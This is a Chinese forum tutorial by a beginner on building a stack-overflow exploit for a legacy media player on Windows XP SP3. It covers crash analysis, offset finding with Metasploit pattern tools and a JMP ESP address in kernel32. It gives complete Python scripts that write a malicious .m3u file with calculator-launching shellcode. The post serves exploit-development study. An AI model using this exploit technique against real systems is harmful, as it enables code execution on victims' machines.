首页
社区
课程
招聘
[原创]EXP编写学习 之 栈溢出(一)
2022-4-27 23:39 7541

[原创]EXP编写学习 之 栈溢出(一)

2022-4-27 23:39
7541

前言

我是逆向练习生 ,羽墨

 

在逆向的大道上,最喜欢的一条分支就是二进制漏洞了,通过读书与网上资料,结合自己的理解,总结出来二进制漏洞的三个技术要点

 

漏洞挖掘 漏洞分析 漏洞利用

 

漏洞挖掘先不谈

 

漏洞分析与利用是基本功(相辅相成),看一下CVE的历史,有很多都是捕捉到了利用样本,安全研究员分析出来的0day漏洞(毕竟真正的“黑客”是不会公开0day的)那么必不可少的需要学习漏洞利用与分析技术。

 

所以我学习二进制漏洞就先从漏洞利用与分析开始,目前国内的漏洞书籍有 0day2 与 漏洞战争, 前者重点讲述了二进制漏洞的原理与windows安全机制,后者重点讲述了漏洞分析的技术且有一些EXP的分析。简单都看了一遍以后,发现对于漏洞利用技术的知识还是差的很远,别人的EXP堪称艺术,自己。。。惨不忍睹,所以找到了看雪各路大神翻译的EXP编写系列教程。

 

EXP编写系列教程用的perl脚本 因为不熟悉,所以这里我使用py(其实我是C语言爱好者 但没办法C代码太长了 所以用py现学现卖) 另外教程中没有对漏洞软件进行分析 ,所以顺带对漏洞软件进行了一波分析。。。

 

注:新手上路 如有错误请大佬指正

漏洞验证与分析

1.环境

漏洞软件: https://www.exploit-db.com/exploits/10619
虚拟环境: Vmware Windows xp sp3 中文版
调试器: x32dbg ,windbg xp版

2.漏洞验证

​ 1.打开我好久没用过的pycharm

 

​ 2.编写一个简单的py脚本用来生成测试文件,经过20000-30000的文件大小测试,我用了27000,因为要分析。。

1
2
3
4
5
6
7
8
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 27000
Fileptr = open(r'crash.m3u','w')
Fileptr.write(char)
Fileptr.close()
print("CreatFile Success")

​ 3.打开后崩溃

3.漏洞分析

1.我使用x32dbg 打开漏洞软件,并设置调试器处理异常,之后打开测试文件,程序异常断下,查看栈回溯

 

栈回溯情况

 

​ 好的,是栈溢出,栈帧都破坏了,看不出来什么,那么怎么定位漏洞位置。别急,山人自有妙计

 

​ 进入反汇编窗口,查看寄存器与栈窗口,看到BBP指向了测试文件,一般EBP都是保存栈底,如果指向了一个数据,那么这个数据一般是不会变动的,并且必然要作为参数用到(逆向经验),那么可以在EBP的附近找一下,在栈窗口转到EBP,发现了惊喜,EBP作为参数调用了一个函数,而且栈也没有被破坏,因为栈是向低地址增长的,所以这个位置的函数,必然是栈溢出之前的函数,由这个参数来推测,它必然会对测试文件做一些处理操作。

 

栈回溯情况2

 

2.在找到的这个函数地址下断
定位处理函数

 

3.重新调试,打开测试文件后断下,果然这个函数是用来处理文件的,具体做了些什么不清楚,但根据程序名,推测这是处理格式转换的

 

4.经过一路跟踪,发现了它调用fopne函数打开文件,按照编程惯例,之后马上会有fwrite调用来把文件内容写入缓冲区
溢出函数

 

5.继续跟踪,看到在一系列操作过后,来到了溢出位置(快速浏览汇编代码,找到对栈进行操作的位置)
定位关键栈操作

 

6.可以看到在这里,在进行了大小计算后,对栈进行了赋值操作,本来想通过栈缓冲区大小来精准定位返回地址,但是经过计算,发现对文件进行操作的时候,文件的大小改变了,并且文件内容也有一些改变,应该是转换过程中的操作,所以没办法根据栈缓冲区大小来定位返回地址了。

 

7.分析到这里,漏洞成因也可以确定了,这个程序把数据读入缓冲区,经过一系列的处理后,写到了栈中,且没有比较大小,以数据大小来进行赋值,所以造成了栈溢出

漏洞利用

1.漏洞利用精确覆盖返回地址

 

通过计算栈大小失败后,可以使用msf的pattern_create.rb 与 pattern_offset 来进行定位,cd到msf的工具目录,使用脚本(我使用kali来生成 windows也可以 但不推荐 环境配置会有很多坑)

1
./pattern_create.rb -l 5000 > /home/kali/Desktop/test.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 25000
 
Fileptr = open(r'crash.m3u','w')
testfile = open(r'test.txt','r')
 
teststr = testfile.read()
Fileptr.write(char)
Fileptr.close()
testfile.close()
 
print("CreatFile Success")

2.使用上述两个脚本后,生成测试文件,再次调试,进行返回地址精确定位

1
2
3
4
5
6
7
(e94.8bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=00007530
eip=366a4235 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
366a4235 ??              ???
1
2
./pattern_offset.rb -q 366a4235 -l 5000
[*] Exact match at offset 1067

这两个脚本的简单原理就是(可以-h查看帮助),通过它生成的畸形数据(每次生成都一样)来覆盖返回地址,然后覆盖返回地址以后,通过那个值来计算在测试数据中的偏移,以此来确定返回位置,进行精准打击

 

3.脚本返回的偏移为 1067 ,加上25000个A ,也就是文件里 26067的位置 , 继续写脚本进行测试 (偏移地址因环境而已)

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 26067
retaddr = "BBBB"
char2 = 'C' * 1000
 
Fileptr = open(r'crash.m3u','w')
Fileptr.write(char + retaddr + char2)
Fileptr.close()
 
 
print("CreatFile Success")

4.好的,返回地址被覆盖为BBBB 也就是42424242

1
2
3
4
5
6
7
8
9
10
11
(a30.f1c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=000069bf
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
42424242 ??              ???
0:000> dd esp
000ffd38  43434343 43434343 43434343 43434343
000ffd48  43434343 43434343 43434343 43434343
000ffd58  43434343 43434343 43434343 43434343

5.找到了返回地址的位置,那么要进行漏洞利用,还需要把shellcode放入程序中,并且需要让返回地址为shellcode地址或者nop区

 

众所周知,返回指令,可以附带操作数,也就是返回时弹出几个字节,所以我们需要确定到底返回了几个字节,根据之前的漏洞分析环节,找到漏洞位置后,直接F9,可以到返回指令 retn 4

 

另一个办法,修改char2部分的数据,修改后生成测试文件进行测试,查看esp,会得到同样的结论

 

6.shellcode一般不可以包含 0x00 ,会被截断

 

7.现在已经知道了返回会弹出4个字节,所以py脚本这样写,shellcode为xp sp3 弹出计算器的代码(比较简单,自己用汇编写了,如果想研究一下shellcode,可以把shellcode拷贝到调试器中,调整EIP直接运行即可看到代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 26067
retaddr = "BBBB"
perfix = "CCCC"
shellcode = "\x90" * 20
shellcode += \
    "\x55\x8B\xEC\x33" \
    "\xC0\x50\xB8\x2E" \
    "\x65\x78\x65\x50" \
    "\xB8\x63\x61\x6C" \
    "\x63\x50\x8B\xC4" \
    "\x6A\x05\x50\xB8" \
    "\xAD\x23\x86\x7C" \
    "\xFF\xD0\x33\xC0" \
    "\x50\xB8\xFA\xCA" \
    "\x81\x7C\xFF\xD0" \
    "\x8B\xE5\x5D\x33"
 
Fileptr = open(r'crash.m3u','w')
Fileptr.write(char + retaddr + perfix + shellcode)
Fileptr.close()
 
 
print("CreatFile Success")

8.那么现在需要确定返回地址了,返回地址覆盖时,同样不可以包含NULL字符,另外由于栈地址有一定的随机性,所以使用跳板指令jmp esp来达到我们的目的

 

9.搜索跳板地址的话,MSF有个小工具可以使用,msfpescan(这里不使用了)

 

根据教程,使用windbg 命令lmi (也可以使用OD的插件 OllyFindAddr)
模块

 

然后使用搜索内存指令,我搜索的是kernel32 FF E4为JMP ESP 指令机器码 , 可以在调试器中修改汇编指令查看

1
2
0:010> s 7c800000 7c91e000 FF E4
7c86467b  ff e4 47 86 7c ff 15 58-15 80 7c 8d 85 38 fe ff  ..G.|..X..|..8..

10.在py脚本中, retaddr换成 "\x7b\x46\x86\x7c" 小端序 , 如果你的一些字符在py中出现编码问题,在字符串前加b,并且文件以wb模式写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = b"\x41" * 26067
retaddr = b"\x7b\x46\x86\x7c"
perfix = b"CCCC"
shellcode = b"\x90" * 20
shellcode += \
    b"\x55\x8B\xEC\x33" \
    b"\xC0\x50\xB8\x2E" \
    b"\x65\x78\x65\x50" \
    b"\xB8\x63\x61\x6C" \
    b"\x63\x50\x8B\xC4" \
    b"\x6A\x05\x50\xB8" \
    b"\xAD\x23\x86\x7C" \
    b"\xFF\xD0\x33\xC0" \
    b"\x50\xB8\xFA\xCA" \
    b"\x81\x7C\xFF\xD0" \
    b"\x8B\xE5\x5D\x33"
 
Fileptr = open(r'EXP.m3u','wb+')
Fileptr.write(char + retaddr + perfix + shellcode)
Fileptr.close()
 
 
print("CreatFile Success")

11.生成EXP文件,进行测试,由于我的shellcode中,最后使用了ExitProcess 所以没有弹出崩溃窗口(如果读者对跳板指令不熟悉,可以跟踪调试一下,就会理解其中原理)

 

exp执行

 

12.如果想使用别的shellcode(例如反弹shell),可以自己编写,或者使用msf的shellcode模块,生成时可以选择shellcode功能与编码方式(由于利用较为简单,不使用了,后续使用会说明用法)

总结

1.使用样本测试到漏洞分析

 

2.漏洞分析找到漏洞成因

 

3.熟悉python编程并写出EXP代码

 

4.一些小技巧,例如windbg指令,分析技巧,需要读者自己去总结了

 

5.由于这个软件没有任何安全机制,所以不展开讨论,后续章节再详细解析

参考资料

看雪 EXP编写系列教程 第一章


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2022-5-3 16:33 被yumoqaq编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回